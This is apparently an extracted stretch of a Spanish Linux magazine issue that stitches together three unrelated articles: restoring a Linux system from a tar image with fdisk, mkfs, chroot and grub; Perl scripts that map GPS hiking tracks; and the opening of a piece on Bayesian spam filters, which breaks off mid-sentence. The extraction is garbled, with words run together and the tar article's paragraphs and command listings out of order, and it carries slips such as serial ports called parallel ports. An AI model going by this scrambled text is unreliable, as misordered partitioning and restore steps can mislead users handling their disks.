Navaja Suizatar es una poderosa y efectiva herramientaque cuya existencia se remonta a loscomienzos de Unix; siempre encontrare-mos una variante GNU de tar incluida encualquier distribución de Linux. El pro-grama, que originalmente fue desarrolladocomo un “archivador de ficheros en cin-tas”, ha estado extendiéndose continua-mente a lo largo de los años. Su tarea origi-nal de almacenar datos en cintas hoy endía es sólo una más de las muchas para lasque se utiliza.

A primera vista, puede parecer extrañoempaquetar una instalación de Linux enun fichero tar y desempaquetarla en unlugar distinto. Sin embargo, el comandosiguiente:

tar -cvjpf U

/tmp/image-date.tar.bz2 /

Utilización de un fichero tar para restaurar un sistema de forma

rápida sin tener que hacer una reinstalación completa.

POR MARKUS KLIMKE

05 > /usr/portage/distfiles/*

06 > /tmp/backup-date.tar.bz2

07 > EOF

08 user # tar -cvjp —U

09 exclude-from=/tmp/out -f U

10 /tmp/backup-date.tar.bz2

Los comodines que siguen a los nombres delos directorios eliminan todos los ficheros ydirectorios bajo el directorio que se quieraexcluir. Si se dejan los comodines, tarexcluirá el directorio completo de la copia.Entre los ficheros excluidos se deberíaincluir el fichero de la imagen.

Antes de crear la imagen hay que ejecutarel comando mount para comprobar lo quese ha montado. Cualquier medio externo orecurso de red formará parte de la copia sise olvida desmontar o excluir. Algunas dis-tribuciones no montan la partición boot porrazones de seguridad. En este caso, hay queasegurarse de que root se añade a la ima-gen.

Después de crear una imagen con loscontenidos que se necesiten, el siguientepaso es utilizar alguna herramienta decopiado de DVD ( digamos K3b) para volcarla imagen a un DVD.

La Línea al RescateDurante el proceso de restauración, es decir,el proceso de volcado de la imagen que seha creado, puede ser de gran ayuda una dis-tribución Linux en Live CD, ya que permite

arrancar una distribución mínima. El LiveCD más popular es Knoppix [1]. Como lospasos para restaurar la imagen se realizanpor medio de la línea de comandos, una dis-tribución Live CD basada en texto, comoGentoo Live CD [2], Grml [3] o las instala-ciones Suse o Red Hat en modo rescateserán suficientes. Todas estas distribucionesproporcionan las herramientas necesarias.

Para liberar la unidad de DVD para eldisco con la imagen después de arrancar elsistema, hay que arrancar la distribuciónLive de forma que ubique el sistema opera-tivo en la memoria de la máquina. Tras ello,se puede desmontar el Live CD e insertar eldisco con la imagen. La mayoría de los sis-temas Live llaman a este parámetro toram.Si se tiene Knoppix, habría que introducirknoppix toram; para Grml, sería grml

toram. Y si se tiene el Live CD de Gentoo,con el comando gentoo docache será sufi-ciente.

Preparación del Disco DuroAntes de restaurar la imagen hay que parti-cionar y formatear el disco duro con laherramienta de particionado de disco enmodo de texto fdisk.

En Linux, los discos duros se referencianpor nombres de dispositivos como /dev/hda

(IDE) o /dev/sda (S-ATA/SCSI). La últimaletra en el nombre del dispositivo (en esteejemplo es la “a”) hace referencia al“número” del dispositivo. Por ejemplo, el

segundo disco IDE en un PC tiene el nom-bre de dispositivo /dev/hdb. Para las parti-ciones se le añade un número al nombre deldispositivo; por ejemplo, /dev/sda1 es laprimera partición del primer disco S-ATA oSCSI.

Comencemos con el proceso de restaura-ción desde la línea de comandos del Live CD.Se comienza tecleando fdisk /dev/hda paraentrar en el modo comando de fdisk. Tecle-ando m desde el prompt de fdisk se listan lasopciones disponibles. Si el disco no es nuevo,habrá que eliminar cualquier partición quehaya en él. Tecleando p (para “print” – impri-mir) se obtiene un resumen de las particionesque hay en el disco; d (“delete” – eliminar)borrará las particiones.

La Tabla 1 muestra los comandos que senecesitan para configurar un disco duro concuatro particiones. Los requerimientos decada usuario pueden ser diferentes. Se puedencrear particiones extendidas, como la númerocuatro, y luego añadirle unas cuantas particio-nes lógicas, aunque cuatro serán suficientespara la mayoría de los sistemas de escritorio.

El comando n (“new” – nuevo) le indica afdisk que cree una partición nueva. Fdisk pre-guntará a continuación si ésta va a ser unapartición primaria o extendida. La herra-mienta también espera el número de la parti-ción y los números de comienzo y fin de loscilindros de la partición o bien el tamaño (enKiloytes, Megabytes o Gigabytes).

El comando a (“active” – activo) marca laprimera partición como partición de arranque.Para la partición de swap, habrá que pulsar t(“type” – tipo) y establecer el tipo 82.

Ahora que se ha particionado el disco anuestro gusto, habrá que escribir la informa-ción de las particiones al disco pulsando latecla w (“write” – escribir) para almacenar lainformación en el MBR (Master Boot Record).Es una buena idea verificar las particiones enesta fase con el comando fdisk -l /dev/hda

(Figura 1).Si no se quieren introducir los comandos de

fdisk interactivamente, se pueden almacenaren un fichero de control y pasarle este ficheroa fdisk. En el Listado 1 se muestra un ficherode control.

Lo siguiente que hay que hacer es forma-tear las particiones que se acaban de crear conun sistema de ficheros que gestione los fiche-ros y los directorios que se van a restaurar. Lossistemas de ficheros más populares en los sis-temas Linux de escritorio son Ext2, Ext3 y Rei-serFS. Los sistemas de ficheros con control deregistro como Ext3 y ReiserFS necesitan másespacio de disco. Con un sistema de ficheros

Figura 1: Particionando un disco duro y redireccionando los comandos a fdisk. Los resultados

se muestran al final.

Backups tar • PRÁCTICO

41Número 22W W W . L I N U X - M A G A Z I N E . E S

PRÁCTICO • Backups tar

42 Número 19 W W W . L I N U X - M A G A Z I N E . E S

/mnt/cdrom. Luego se inserta el DVD quecontiene el fichero con la imagen y se tecleamount /dev/hdb /mnt/cdrom para montarlo.En nuestro ejemplo, /dev/hdb es el nombredel dispositivo para la unidad DVD; el nombredel dispositivo podría variar dependiendo delhardware que se tenga instalado. Para losordenadores que dispongan de discos S-ATA,normalmente es /dev/hda; si se tienen dos dis-cos IDE, el nombre podría ser /dev/hdc.

Por último, para desempaquetar la imagenen la partición adecuada (/mnt/gentoo en elejemplo), hay que ejecutar los siguientescomandos:

nonumber

cd /mnt/gentoo

tar -xvjpf /mnt/cdromU

/image-date.tar.bz2

La opción -x (“extract” – extraer) es la únicadiferencia entre los comandos de empaque-tado y desempaquetado; le indica a tar quedesempaquete el archivo de la imagen. El des-empaquetado tardará un rato, pero es másrápido que una instalación nueva.

OrdenandoSi las particiones y la jerarquía del disco no sehan modificado con respecto a la instalaciónoriginal, no habrá necesidad de cambiar laconfiguración del gestor de arranque o de latabla de particiones. Sin embargo, será precisointroducir cualquier cambio que se haya produ-cido en las particiones en el fichero /etc/fstab

que se ha restaurado. Si se cambia la imagen,desempaquetándola en un segundo disco duroen vez de en el primero, por ejemplo, habráque modificar las entradas en/boot/grub/grub.conf para que se reflejen loscambios.

El paso decisivo a la hora de ordenar el sis-tema tras la restauración a un nuevo disco esinstalar el gestor de arranque, que no se tendráen esta fase, en el MBR (master boot record) deldisco duro. Si esto no se realiza, fallará el pro-ceso de arranque. Más o menos todas las distri-buciones usan como gestor de arranque a Grub(Grand Unified Boot Loader), que utiliza un

pequeño truco para reinstalar la imagen restau-rada.

Los comandos

user # mount -t proc none U

/mnt/gentoo/proc

user # chroot /mnt/gentoo U

/bin/bash

se cambian a la imagen desempaquetadadel nuevo disco duro, tal y como si el sis-tema se hubiese arrancado desde la imagen,utilizando chroot (“change root” – cambiara root). /proc contiene información diversaque necesita grub y esto hace que sea impe-rativo montar el directorio antes de cambiarroot.

Tras llamar a grub desde la “cárcel”chroot, se debería ver:

livecd # grub

grub> root (hd0,0)

grub> setup (hd0)

grub> quit

El comado root apunta a la partición dearranque, en nuestro ejemplo utilizando(hd0,0), es decir, la primera partición delprimer disco duro de la máquina. Éste es elcomando correcto si la instalación no poseeuna partición de arranque separada, peroutiliza /boot bajo la partición raíz. Si se estárestaurando una imagen a un segundodisco duro, el comando sería root (hd1,0).Con setup se escribe el gestor de arranque alMBR del disco duro; el gestor de arranquenormalmente se encuentra en (hd0), esdecir, el primer disco duro de la máquina.

ReinicioAntes de entrar en el “viejo/nuevo”Linux del Live CD, no hay que olvidarsedesmontar las particiones que se hanmontado ejecutando umount. Es precisodeshabilitar la partición de swap conswapoff /dev/hda2. Ahora ya se lepuede decir a la máquina que se reiniciey a disfrutar viendo cómo se arranca lainstalación recién restaurada. �

como Ext2, 32MB estaría bien para el directo-rio /boot. Los comandos para formatear eldisco para los tres sistemas de ficheros sonmkfs.ext2, mkfs.ext3 y mkfs.reiserfs, seguidospor el nombre de la partición. Para formatearla partición raíz del ejemplo con ReiserFS, hayque teclear mkfs.reiserfs /dev/hda3. mkswap

/dev/hda2 creará la partición de swap. Si setiene más interés sobre las particiones, véasela documentación de Gentoo en [4].

Restauración de la imagenCon esto se ha completado más o menos eltrabajo preparatorio y ahora ya se puede res-taurar la imagen del disco. El último paso esmontar las particiones que se han creado en elsistema de ficheros del Live CD. En GentooLive:

user # mount /dev/hda3 U

/mnt/gentoo

user # mkdir /mnt/gentoo/U

{boot,home}

user # mount /dev/hda1 U

/mnt/gentoo/boot

user # mount /dev/hda4 U

/mnt/gentoo/home

user # swapon /dev/hda2

El punto de montaje /mnt/gentoo es un con-venio de Gentoo; no hay que olvidarse decrear un punto de montaje adecuado paraotros Live CDs. Luego se comienza montandoel directorio raíz del disco duro. El comandode la Línea 2 crea los puntos de montaje paralas particiones boot y home. La última líneahabilita la partición swap.

El disco duro ya está configurado para quese pueda restaurar la imagen. Para ello, pri-mero hay que desmontar el Live CD. En lamayoría de las distribuciones esto se lleva acabo a través del comando umount

[1] Knoppix: http://www.knoppix.org

[2] Gentoo Linux: http://www.gentoo.org/

main/en/mirrors.xml

[3] Grml homepage: http://www.grml.org

[4] Gentoo Linux Manual: http://www.

gentoo.org/doc/en/handbook/

handbook-x86.xml?part=1&chap=4

RECURSOS

MBR: El primer bloque de datos (512

bytes) de un disco duro arrancable y par-

ticionado. Contiene una tabla de parti-

ciones y el cargador del sistema.

GLOSARIO

Nombre Partición Comando Tipo Número Inicio/Codigo Fin

/boot /dev/hda1 n p 1 [Enter] +64M

swap /dev/hda2 n p 2 [Enter] +1G

/ /dev/hda3 n p 3 [Enter] +10G

/home /dev/hda4 n p 4 [Enter] [Enter]

- /dev/hda1 a - 1 - -

- /dev/hda2 t - 2 82 -

Tabla 1: Comando Fdisk (Ejemplos)

Perl: GPS • DESARROLLO

43Número 22

UN DÍA DECAMPO

Irse de excursión con un sistema de

navegación es mucho más divertido.

Un dispositivo GPS no sólo nos ofrece

la posición actual, sino que también nos

puede señalar la altitud o la distancia a un

punto. En base a esta idea, el dispositivo

GPS también nos puede indicar la veloci-

dad de marcha, la distancia recorrida y la

hora estimada de llegada. Y lo que es más,

una vez lleguemos a casa podemos conec-

tar el GPS al PC, descargar la información

recogida en ruta y mapear la excursión.

Aunque el receptor GPS “eTrex” de Gar-

min es un dispositivo de bajo coste para

principiantes, es perfecto para el excursio-

nista ocasional. El eTrex, que cuesta unos

120 Euros (99 dólares en EEUU), es prác-

tico, sumergible y tan robusto que sobre-

vive a golpes y caídas sin sufrir daños. Para

conectar el GPS eTrex al PC de vuelta a

casa, necesitamos un cable con una inter-

faz especial que conecta el eTrex al puerto

serie de nuestro ordenador. El cable oficial

es bastante caro (unos 25 Euros, 32 dólares

al cambio) lo que justifica la existencia del

proyecto que encontraremos en [3], que

nos ayuda a construir nuestro propio

cable. Debo confesar que esta vez he sido

algo perezoso: yo he comprado el oficial.

Confusión BabilónicaLos receptores GPS pueden usar varios for-

matos para exportar la información, pero

un proyecto llamado gpsbabel nos puede

ayudar a luchar contra esta confusión

“babilónica” de lenguas. Además de la

capacidad de soportar docenas de forma-

tos, la herramienta es capaz de leer la

información de un Garmin eTrex conec-

tado al puerto serie de nuestra máquina

bajo Linux. La memoria del receptor GPS

guarda los puntos del camino que le haya-

mos marcado durante la marcha, junto con

las rutas (colecciones de puntos del

camino creados manualmente), y las pis-

tas (colecciones de coordenadas grabadas

automáticamente cada pocos segundos).

Si borramos la memoria antes de partir,

y la descargamos cuando regresemos a

casa, tendremos una registro digital exacto

de nuestra excursión. Este es un buen

punto de partida para varios tipos de eva-

luaciones creativas. Supongamos que

conectamos nuestro GPS Garmin al

segundo puerto paralelo de nuestro PC.

Podemos teclear gpsbabel -t -i garmin -f

/dev/ttyS1 -o gpx -F tracks.txt para descar-

gar la información de la excursión (-t) en

formato Garmin (-i garmin) del segundo

W W W . L I N U X - M A G A Z I N E . E S

Los hackers de Perl se suben al monte con un sistema de navegación

que les proporciona una representación gráfica de la excursión.

POR MIKE SCHILLI

Situamos datos GPS en mapas

44 Número 22 W W W . L I N U X - M A G A Z I N E . E S

puerto paralelo (/dev/ttyS1, para el primer

puerto sería con /dev/ttyS0) y guardar la

información en formato GPX (-o gpx) en

un archivo denominado tracks.txt (-F

tracks.txt).

Para evitar tener que ejecutar el proceso

que controla el dispositivo GPS como root,

tenemos que conseguir que el dispositivo

para el segundo puerto paralelo se pueda

escribir antes de leer la información (el

proceso requiere permisos de escritura):

# chmod a+rw /dev/ttyS1

# ls -l /dev/ttyS1

crw-rw-rw- 1 root uucp 4, U

65 Feb 10 22:47U

/dev/ttyS1

Algún tiempo más tarde (sea paciente: los

puertos serie se inventaron en el siglo

pasado), el comando gpsbabel termina de

ejecutarse y encontraremos, si todo va

bien, la información de la ruta en formato

XML en el archivo tracks.txt (véase la

Figura 3). Para no tener que parsear toda la

información XML para las evaluaciones

que vamos a llevar a cabo, el script del Lis-

tado 1 convierte la información a formato

YAML, que es más sencillo de interpretar

que el XML. Del mismo modo, la informa-

ción YAML puede ser convertida, dicho sea

de paso, a estructuras de información Perl

de una pasada. La Figura 4 muestra la

información YAML. Es más fácil de leer,

¿no?

track2yml usa el módulo XML::Twig de

CPAN, que define un manejador al que

Twig salta por cada etiqueta Trkpt. El

objeto XML::Twig::Elt, pasado al maneja-

dor, representa la etiqueta <trkpt>

encontrada con todas sus sub-etiquetas.

El atributo lat (de latitud) es un valor

decimal. Las latitudes Norte son positivas,

y las Sur son negativas. El atributo lon (de

longitud) expresa las longitudes Oeste

como negativas y las Este como positivas.

El subelemento ele nos da la altura de un

punto de la ruta por encima del nivel de

mar, en metros. La etiqueta <time> nos

da la hora en formato UTC (huso horario

GMT) en notación ISO 8601.

La función str2time() del módulo

Date::Parse de CPAN convierte el registro

de hora ISO 8610 a formato Unix indepen-

diente del huso horario, en segundos, para

facilitar cálculos posteriores. La función

handler() empaqueta toda la información

en un hash y guarda una referencia al hash

como un elemento en el array global

@points. El método DumpFile del módulo

YAML, al que se llama más tarde, guarda

todo el array, incluyendo las referencias

DESARROLLO • Perl: GPS

Figura 1: El receptor GPS “eTrex” fabricado

por Garmin es un dispositivo de bajo coste

para principiantes.

Figura 2: Un cable especial nos permite

conectar el eTrex al puerto serie de nuestro

PC.

01 #!/usr/bin/perl -w

02 use strict;

03 use Sysadm::Install qw(:all);

04

05 use XML::Twig;

06 use Date::Parse;

07 use YAML qw(DumpFile);

08

09 my $twig= XML::Twig->new(

10 TwigHandlers => {

11 “trkpt” => \&handler,

12 }

13 );

14

15 my @points = ();

16

$twig->parsefile(“tracks.xml”)

;

17 DumpFile(“tracks.yml”,

\@points);

18

19 ##############################

20 sub handler {

21 ##############################

22 my($t, $trkpt)= @_;

23

24 my $lat =

$trkpt->att(‘lat’);

25 my $lon =

$trkpt->att(‘lon’);

26 my $ele =

$trkpt->first_child(

27

‘ele’)->text();

28

29 my $isotime =

$trkpt->first_child(

30

‘time’)->text();

31 my $time =

str2time($isotime);

32

33 push @points, {

34 lat => $lat, lon =>

$lon,

35 ele => $ele, time =>

$time,

36 isotime => $isotime,

37 };

38 }

Listado 1: tracks2yml

[1] Listados del artículo: http://www.

linux-magazine.es/Magazine/

Downloads/22

[2] “Google Maps Hacks”, Rich Gibson &

Schuyler Erle, O’Reilly 2006

[3] HOWTO y dirección para un cable

Garmin “hágalo-usted-mismo”:

http://pfranc.com

[4] Convertidor de formato GPS: http://

www.gpsbabel.org

[5] Yahoo! Maps Web Services – Guía de

iniciación del API AJAX: http://

developer.yahoo.com/maps/ajax/

RECURSOS

Perl: GPS • DESARROLLO

45Número 22W W W . L I N U X - M A G A Z I N E . E S

Un poco más tarde de la 1:00 pm,

comencé la excursión a una altitud de

unos 200 metros por encima del nivel del

mar, bajando hasta dicho nivel tras una

hora y media de suaves subidas y bajadas.

A esto le siguió una subida de 200 metros

de vuelta al punto de salida del circuito.

El Listado 2 representa el gráfico usando

el módulo RRDTool::OO, que usa, tras el

escenario, la base de datos round robin

rrdtool. Hice uso de rrdtool debido a su ele-

gante (digamos mejor, automática) repre-

sentación de la hora en el eje X. La línea 8

lee la información YAML, y el constructor

new() crea a continuación una nueva base

de datos RRD, usando para ello un archivo

temporal, pues no vamos a conservar la

información más adelante. La función

tmpfile() devuelve dos argumentos, de los

cuales sólo vamos a pasar el primero a

new().

El método create() define entonces el

esquema de almacenamiento de la infor-

mación, que aguarda un valor cada 60

segundos. El receptor GPS lleva la cuenta

cada par de segundos, pero rrdtool simple-

mente agrega la información. La base de

datos puede guardar un máximo de 10.000

puntos de elevación, lo cual debe ser sufi-

ciente incluso para excursiones largas.

El bucle for que comienza en la línea 25

itera sobre los puntos de ruta y alimenta

con ellos la base de datos, junto con el

tiempo, haciendo uso para ello del método

hash, con un formato fácilmente legible en

un archivo denominado tracks.yml, donde

scripts posteriores lo pueden leer llamando

a LoadFile().

Cuesta Arriba y Cuesta AbajoLa excursión de hoy nos lleva al norte del

puente Golden Gate a lo largo del “Coastal

Trail” y del “Rodeo Trail” cuesta arriba y

cuesta abajo a través de las “Marin Head-

lands”, un paisaje pintoresco y ondulado

de la costa del Pacífico. Recabamos la

información guardada por el sistema GPS a

lo largo del camino de tres horas, y repre-

sentamos la información de elevación en

un eje de tiempo obteniendo como resul-

tado el gráfico mostrado en la Figura 5.

01 #!/usr/bin/perl -w

02 use strict;

03 use YAML qw(LoadFile);

04 use RRDTool::OO;

05 use File::Temp qw(tempfile);

06

07 my $trkpts =

LoadFile(“tracks.yml”);

08

09 my $rrd = RRDTool::OO->new(

10 file => (tempfile())[1]);

11

12 $rrd->create(

13 start =>

$trkpts->[0]->{time} - 1,

14 step => 60,

15 data_source => { name =>

“elevation”,

16 type =>

“GAUGE” },

17 archive => { rows =>

10000 });

18

19 for my $trkpt (@$trkpts) {

20 eval { # Deal with dupes

21 $rrd->update(time =>

$trkpt->{time},

22 value =>

$trkpt->{ele});

23 };

24 }

25

26 $rrd->graph(

27 start =>

$trkpts->[0]->{time},

28 end =>

$trkpts->[-1]->{time},

29 image =>

“elevation.png”,

30 vertical_label =>

‘Elevation’,

31 width => 300,

32 height => 75,

33 lower_limit => 0,

34 );

Listado 2: elerrd

Figura 3: La información de la ruta en formato GPX (XML)

que se ha descargado del GPS Garmin.

Figura 4: La misma información de la ruta en formato YAML tras la conversión

con track2yml.

DESARROLLO • Perl:GPS

46 Número 22 W W W . L I N U X - M A G A Z I N E . E S

update(). Dado que rrdtool da error y

aborta si aparece un mismo registro de

tiempo duplicado, se ha envuelto el

comando update en un bloque eval para

conseguir que el script sea más tolerante.

El método graph() representa el gráfico.

El primer punto de la ruta fija la hora de

comienzo, y el registro del último punto el

de finalización. Casi instantáneamente,

deberíamos obtener un atractivo diagrama

en formato PNG en el archivo especificado

en la línea 39, elevation.png (véase la

Figura 5).

Sumas y EsferasPara calcular la distancia cubierta, el Lis-

tado 3 tiene que iterar a través de todos los

puntos de ruta, calcular la distancia entre

ellos y añadir las distancias una a una.

Cada punto de la ruta es una referencia a

un hash que guarda la latitud en lat y la

longitud en lon. $last_pt guarda el punto

de ruta de la última iteración del bucle

(salvo en la primera iteración). A continua-

ción calcula la distancia entre dos puntos

de ruta en función de los valores de longi-

tud y latitud. Esto no es trivial, ya que los

valores representan puntos de la superficie

de un elipsoide. El módulo Geo::Distance

de CPAN usa funciones trigonométricas

para efectuar los cálculos y proporciona un

sencillo método distance(), que aguarda la

unidad de medida requerida (kilómetros o

millas) y dos puntos de la ruta dados como

valores de longitud y latitud. La función

devuelve un valor de la distancia, que

luego atrapa dist:

$ ./dist

Total: 11.67km

Machacando los MapasRecientemente se han puesto muy de

moda los denominados “mash-ups”. Bási-

camente se trata de modificar un mapa

online con una extensión hecha por uno

mismo. Además de Google, la compañía

para la que yo trabajo, Yahoo!, también

permite a los programadores añadir etique-

tas dinámicamente a mapas escalables

haciendo uso de un

sencillo API Javas-

cript.

Para representar

la ruta en un mapa

de Yahoo, en pri-

mer lugar tengo

que reducir el volu-

men de informa-

ción. Los 1800 pun-

tos de ruta que

recogí durante mi

excursión sólo me

generarían un feno-

menal lío. Esta es la

razón por la cual el

Listado 4 itera

sobre los puntos de

ruta en un bucle

for, pasando los

puntos de ruta que están a más de 0,4 kiló-

metros del punto precedente al final del

array @points. De nuevo, Geo::Distance se

encarga de los complejos cálculos de dis-

tancias.

Está disponible un HOWTO de Mash-up

en [5]. La Figura 6 muestra el código

Javascript necesario. Si pretendemos usar

el API, nótese que previamente debería-

mos obtener la ID de la aplicación. El Lis-

tado 4 usa la ID de YahooDemo, que per-

mite 50.000 peticiones por día para una

dirección IP. Obsérvese que el servicio no

permite navegación GPS online. La infor-

mación GPS debe tener al menos 6 horas

de antigüedad.

El código Javascript y varias etiquetas

HTML se guardan en el archivo plantilla

map.tmpl, que se lee por el Listado 4,

interpretado a través del Template Toolkit

de CPAN mediante el procesado del conte-

nido dentro de las etiquetas mágicas

[%...%]. El Template Toolkit proporciona

un sencillo lenguaje de script con control

limitado de las funcionalidades para evitar

tener que programar mucho en la capa de

presentación. De igual manera, el acceso a

las variables es sorprendentemente senci-

llo. Hashes, arrays y referencias se contro-

lan de la misma manera usando un punto

(.) mágico. Por ejemplo, para referenciar el

primer elemento en un array apuntado por

$points, y para extraer el valor de la clave

lat en el hash subyancente, la notación del

Template Toolkit es points.0.lat. En Perl se

hubiese necesitado $points->[0]->{lat}

para esto mismo. ¡Magnífico!

La salida del Listado 4 simplemente se

redirige a un archivo HTML y luego se

representa por un navegador. Esto nos pro-

porciona una ventana de 600x400 píxeles

con un mapa que podemos mover y esca-

01 #!/usr/bin/perl -w

02 use strict;

03 use YAML qw(LoadFile);

04 use Geo::Distance;

05

06 my $trkpts =

LoadFile(“tracks.yml”);

07 my $geo =

Geo::Distance->new();

08

09 my $total = 0;

10 my $last_pt;

11

12 for my $trkpt (@$trkpts) {

13 if($last_pt) {

14 my $k =

$geo->distance(“kilometer”,

15 $last_pt->{lon},

$last_pt->{lat},

16 $trkpt->{lon},

$trkpt->{lat});

17

18 $total += $k;

19 }

20 $last_pt = $trkpt;

21 }

22

23 printf “Total: %.2fkm\n”,

$total;

Listado 3: dist

Figura 6: La plantilla con el código Javascript para crear el mash-up.

Figura 5: Elevación sobre el nivel del mar

durante la excursión.

lar, dado que el Javascript incrustado se

comunica con el servidor de mapas de

Yahoo. Podemos conmutar a la vista de

satélite, y existe incluso un modo híbrido

que nos permite superponer la imagen por

satélite con la información del mapa.

La Figura 7 muestra la imagen inicial

del navegador en el que los puntos de ruta

se presentan como pequeñas burbujas

naranjas numeradas del 1 al 19. Los lecto-

res de fuera de Estados Unidos deberían

advertir que los mapas de Yahoo para su

región puede que no sean tan detallados,

pero las imágenes por satélite (de baja

resolución) al menos deberían ser sufi-

cientes.

El código Javascript de la Figura 6 sólo

demuestra algunos de los trucos más senci-

llos para el API. Podemos añadir burbujas

con imágenes u otras virguerías. Los eventos

como pulsaciones y arrastres del ratón se

pueden capturar, evaluar con algo de código

Javascript, y posiblemente enviar de vuelta

al servidor usando los trucos de Ajax. �

Perl: GPS • DESARROLLO

47Número 22W W W . L I N U X - M A G A Z I N E . E S

01 #!/usr/bin/perl -w

02 ##############################

03 # map - Marcas de progreso en

Yahoo Map

04 # Mike Schilli, 2006

([email protected])

05 ##############################

06 use strict;

07 use YAML qw(LoadFile);

08 use Geo::Distance;

09 use Template;

10

11 my $trkpts =

LoadFile(“tracks.yml”);

12 my $geo =

Geo::Distance->new();

13

14 my $count = 0;

15 my $min = 0.4; # Minimum

marker distance

16 my @points = ();

17 my $last_pt;

18

19 for my $trkpt (@$trkpts) {

20 if($last_pt) {

21 my $k =

$geo->distance(“kilometer”,

22 $last_pt->{lon},

$last_pt->{lat},

23 $trkpt->{lon},

$trkpt->{lat});

24

25 next if $k < $min;

26 }

27 $trkpt->{count} = ++$count;

28 push @points, $trkpt;

29

30 $last_pt = $trkpt;

31 }

32

33 my $template =

Template->new();

34 my $vars = { points =>

\@points };

35

36 $template->process(“map.tmpl”,

$vars) or

37 die $template->error();

Listado 4: map

Figura 7: El mash-up finalizado con los puntos de ruta de la excur-

sión por el norte de San Francisco. Un script representa los puntos

guardados durante la excursión por el dispositivo eTrex.

Figura 8: El mismo mash-up, tras pulsar el botón en el borde supe-

rior izquierdo para conmutar al modo híbrido con satélite y luego

escalarlo con la herramienta de zoom.

EL SPAM SE VA AACABAREL SPAM SE VA AACABAR

ció en la penumbra. Hasta que el spam se

volvió insoportable.

En el año 2002, Paul Graham (ver Recurso

[1]) escribió un ensayo titulado A plan for

Spam, en el cual describía cómo programar

un filtro bayesiano de spam. Paul estaba uti-

lizando ese filtro desde hacía meses con

gran éxito (según cuenta, con un 99.5 % de

aciertos y ningún falso positivo).

Por cierto, la palabra spam se la debemos

al genial grupo humorístico Monty Python,

de cuyo nombre surgió el nombre Python.

Se puede ver el vídeo original del que surgió

el nombre spam en el Recurso [2].

La cruzada contra el spamPaul ha dedicado meses a la lucha contra el

spam. Comenzó clasificando manualmente

el correo como spam o no spam en base a lo

que leía en él, algo que probablemente

hemos hecho todos/as en algún momento.

Inspeccionaba los correos, llegaba a una

conclusión y los colocaba en una carpeta u

otra en base a esa conclusión. El problema

de esta técnica es que, como el lector habrá

supuesto o experimentado, a la larga cansa.

En su ensayo Paul Graham cita a Norbert

Wiener, padre de la cibernética, cuando dice

«…si compites con esclavos acabas convir-

tiéndote en un esclavo». Y en eso se había

convertido, en un esclavo de los spammers.

Eran ellos quienes tenían las de ganar, por-

que son ellos quienes fijan las reglas del

juego.

Después de unos meses trasteando con

técnicas simples, como por ejemplo clasifi-

car los correos en base a frases o palabras

clave del estilo xanax sex, se dio cuenta de

que sería una lucha sin fin. Por ejemplo, los

spammers dejaron de usar la palabra «via-

gra» y comenzaron a usar «v1agra» e incluso

«vagra» .

Decidido a ganarles, pasó a investigar for-

mas más sofisticadas de clasificación de tex-

tos, llegando hasta los filtros bayesianos.

Implementó un nuevo filtro basado en ellos

y el éxito fue extraordinario. Rápidamente

todo el software de filtrado de correos incor-

poró una opción para emplear filtrado baye-

siano.

Un poco de probabilidadEl cálculo de probabilidades parece una téc-

nica difícil de entender, pero la usamos de

forma inconsciente en el día a día. Por ejem-

plo, siendo usuario habitual del transporte

urbano, debo tomar ciertas decisiones

dependiendo de determinadas variables, y

así tengo en cuenta:

• las distintas combinaciones de autobuses

que me llevan a un mismo sitio

• la cantidad de tiempo que debo esperar a

que llegue el autobús

• lo que tarda cada combinación de autobu-

ses en llegar a su destino

• …

Imagina que llegas a una parada del autobús

urbano y ves que está vacía, ¿tardará mucho

en llegar el siguiente autobús?

Si es domingo por la tarde y la parada está

vacía, no podremos realizar ninguna predic-

ción, el transporte urbano no es muy usado

en días festivos. En cambio, si es lunes por la

mañana, en hora punta y la parada está

vacía, podremos suponer que el autobús ha

pasado recientemente.

En función de la información que está en

nuestra mente tomamos decisiones, así

Es una buena pregunta y su contesta-

ción no es sencilla. Si definimos

Spam como correo no solicitado,

entonces no habría forma de determinar si

un correo es spam o no. Pero afortunada-

mente el spam posee unas características

bien definidas. Su mensaje es repetitivo, y el

texto, tarde o temprano, tiene que hacer

referencia a lo que nos intenta vender.

En 1998, M. Sahami, S. Dumais, D. Hec-

kerman y E. Horvitz, cuatro estudiosos de la

inteligencia artificial, se dieron cuenta del

problema que se nos venía encima. Presen-

taron su trabajo A Bayesian approach to filte-

ring junk e-mail (una aproximación baye-

siana al filtrado del correo basura) en un

congreso de la Asociación Americana de

Inteligencia Artificial. A pesar de presentar

unos resultados muy esperanzadores para la

lucha contra el spam, esta técnica permane-

DESARROLLO • Python

48 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Paul Graham publicó un artículo en 2002 en el que decía que los filtros bayesianos acabarían con el Spam,

pero ¿qué es un filtro bayesiano? y, peor aún ¿qué es en realidad el spam?

POR JOSE MARÍA RUÍZ AGUILERA

Filtros Bayesianos en Python

01 >>> a = {}

02 >>> a[‘hola’]=1

03 >>> a[‘adios’]=2

04 >>> b = {}

05 >>> b[‘hola’] = 3

06 >>> b[‘coche’] = 4

07 >>> import sets

08 >>> c = sets.Set(a.keys()) |

sets.Set(b.keys())

09 >>> l = []

10 >>> for palabra in c:

11 ... l.append(palabra)

12 ...

13 >>> l

14 [‘hola’,’adios’,’coche’]

Listado 1: Ejemplo de usode conjuntos

como con aquella otra que podemos extraer

del entorno. Calculamos las probabilidades

de forma aproximada en busca de la mejor

opción. Si fuésemos capaces de crear un

programa que tomase decisiones como lo

hace nuestra mente, habríamos sido los

afortunados programadores creadores de la

primera inteligencia artificial.

Nuestro programa sólo puede operar con

las matemáticas, así que, ¿cómo se pueden

modelar estas decisiones empleando mate-

máticas?

BayesEl teorema de Bayes (o la probabilidad con-

dicionada) es un ejemplo de matemática útil

y práctica. Nos dice que la probabilidad de

tomar el autobús sabiendo que es domingo

es igual a la probabilidad de que siendo

domingo se coja el autobús, por la probabili-

dad de coger el autobús y dividido por la

probabilidad de que sea domingo.

Volviendo al tema del filtrado de correos,

¿cómo sería esta fórmula en nuestro con-

texto? La probabilidad de que un correo sea

spam sabiendo que contiene ciertas palabras

(«hola» ,«venta» ,«nigeria» , …) es igual a la

probabilidad de que esas palabras estén en

un correo spam («nigeria» es una palabra

típica del spam) por la probabilidad de que

un correo cualquiera sea spam (número de

correos spam entre total de correos) dividido

por la probabilidad de que aparezcan esas

palabras en un correo cualquiera.

La palabra «probabilidad» ha aparecido

tantas veces, que estoy seguro que el lector

se habrá asustado. Contrariamente a lo que

pueda creer, la probabilidad es lo más senci-

llo de calcular en todo este asunto. Simple-

mente hay que realizar una división: la pro-

babilidad de que una palabra aparezca en

